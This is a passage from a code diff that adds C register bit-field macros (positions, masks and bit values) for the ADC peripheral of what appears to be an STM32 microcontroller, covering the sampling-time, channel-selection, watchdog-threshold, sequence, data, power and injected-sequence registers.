/*!< 0x00000002 */ +#define ADC_SMPR2_SMP10_2 (0x4UL << ADC_SMPR2_SMP10_Pos) /*!< 0x00000004 */ + +#define ADC_SMPR2_SMP11_Pos (3UL) +#define ADC_SMPR2_SMP11_Msk (0x7UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000038 */ +#define ADC_SMPR2_SMP11 ADC_SMPR2_SMP11_Msk /*!< ADC Channel 11 Sampling time selection */ +#define ADC_SMPR2_SMP11_0 (0x1UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000008 */ +#define ADC_SMPR2_SMP11_1 (0x2UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000010 */ +#define ADC_SMPR2_SMP11_2 (0x4UL << ADC_SMPR2_SMP11_Pos) /*!< 0x00000020 */ + +#define ADC_SMPR2_SMP12_Pos (6UL) +#define ADC_SMPR2_SMP12_Msk (0x7UL << ADC_SMPR2_SMP12_Pos) /*!< 0x000001C0 */ +#define ADC_SMPR2_SMP12 ADC_SMPR2_SMP12_Msk /*!< ADC Channel 12 Sampling time selection */ +#define ADC_SMPR2_SMP12_0 (0x1UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9UL) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC Channel 13 Sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12UL) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC Channel 14 Sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15UL) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC Channel 15 Sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18UL) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC Channel 16 Sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21UL) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC Channel 17 Sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24UL) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC Channel 18 Sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +#define ADC_SMPR2_SMP19_Pos (27UL) +#define ADC_SMPR2_SMP19_Msk (0x7UL << ADC_SMPR2_SMP19_Pos) /*!< 0x38000000 */ +#define ADC_SMPR2_SMP19 ADC_SMPR2_SMP19_Msk /*!< ADC Channel 19 Sampling time selection */ +#define ADC_SMPR2_SMP19_0 (0x1UL << ADC_SMPR2_SMP19_Pos) /*!< 0x08000000 */ +#define ADC_SMPR2_SMP19_1 (0x2UL << ADC_SMPR2_SMP19_Pos) /*!< 0x10000000 */ +#define ADC_SMPR2_SMP19_2 (0x4UL << ADC_SMPR2_SMP19_Pos) /*!< 0x20000000 */ + +/******************** Bit definition for ADC_PCSEL register ********************/ +#define ADC_PCSEL_PCSEL_Pos (0UL) +#define ADC_PCSEL_PCSEL_Msk (0xFFFFFUL << ADC_PCSEL_PCSEL_Pos) /*!< 0x000FFFFF */ +#define ADC_PCSEL_PCSEL ADC_PCSEL_PCSEL_Msk /*!< ADC pre channel selection */ +#define ADC_PCSEL_PCSEL_0 (0x00001UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000001 */ +#define ADC_PCSEL_PCSEL_1 (0x00002UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000002 */ +#define ADC_PCSEL_PCSEL_2 (0x00004UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000004 */ +#define ADC_PCSEL_PCSEL_3 (0x00008UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000008 */ +#define ADC_PCSEL_PCSEL_4 (0x00010UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000010 */ +#define ADC_PCSEL_PCSEL_5 (0x00020UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000020 */ +#define ADC_PCSEL_PCSEL_6 (0x00040UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000040 */ +#define ADC_PCSEL_PCSEL_7 (0x00080UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000080 */ +#define ADC_PCSEL_PCSEL_8 (0x00100UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000100 */ +#define ADC_PCSEL_PCSEL_9 (0x00200UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000200 */ +#define ADC_PCSEL_PCSEL_10 (0x00400UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000400 */ +#define ADC_PCSEL_PCSEL_11 (0x00800UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00000800 */ +#define ADC_PCSEL_PCSEL_12 (0x01000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00001000 */ +#define ADC_PCSEL_PCSEL_13 (0x02000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00002000 */ +#define ADC_PCSEL_PCSEL_14 (0x04000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00004000 */ +#define ADC_PCSEL_PCSEL_15 (0x08000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00008000 */ +#define ADC_PCSEL_PCSEL_16 (0x10000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00010000 */ +#define ADC_PCSEL_PCSEL_17 (0x20000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00020000 */ +#define ADC_PCSEL_PCSEL_18 (0x40000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00040000 */ +#define ADC_PCSEL_PCSEL_19 (0x80000UL << ADC_PCSEL_PCSEL_Pos) /*!< 0x00080000 */ + +/***************** Bit definition for ADC_LTR1, 2, 3 registers *****************/ +#define ADC_LTR_LT_Pos (0UL) +#define ADC_LTR_LT_Msk (0x01FFFFFFUL << ADC_LTR_LT_Pos) /*!< 0x01FFFFFF */ +#define ADC_LTR_LT ADC_LTR_LT_Msk /*!< ADC Analog watchdog 1, 2 and 3 lower threshold */ + +/***************** Bit definition for ADC_HTR1, 2, 3 registers ****************/ +#define ADC_HTR_HT_Pos (0UL) +#define ADC_HTR_HT_Msk (0x01FFFFFFUL << ADC_HTR_HT_Pos) /*!< 0x01FFFFFF */ +#define ADC_HTR_HT ADC_HTR_HT_Msk /*!< ADC Analog watchdog 1,2 and 3 higher threshold */ + +#define ADC_HTR_AWDFILT_Pos (29UL) +#define ADC_HTR_AWDFILT_Msk (0x7UL << ADC_HTR_AWDFILT_Pos) /*!< 0xE0000000 */ +#define ADC_HTR_AWDFILT ADC_HTR_AWDFILT_Msk /*!< Analog watchdog filtering parameter, HTR1 only */ +#define ADC_HTR_AWDFILT_0 (0x1UL << ADC_HTR_AWDFILT_Pos) /*!< 0x20000000 */ +#define ADC_HTR_AWDFILT_1 (0x2UL << ADC_HTR_AWDFILT_Pos) /*!< 0x40000000 */ +#define ADC_HTR_AWDFILT_2 (0x4UL << ADC_HTR_AWDFILT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_SQR1 register ********************/ +#define ADC_SQR1_L_Pos (0UL) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC regular channel sequence length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6UL) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC 1st conversion in regular sequence */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12UL) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC 2nd conversion in regular sequence */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18UL) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) 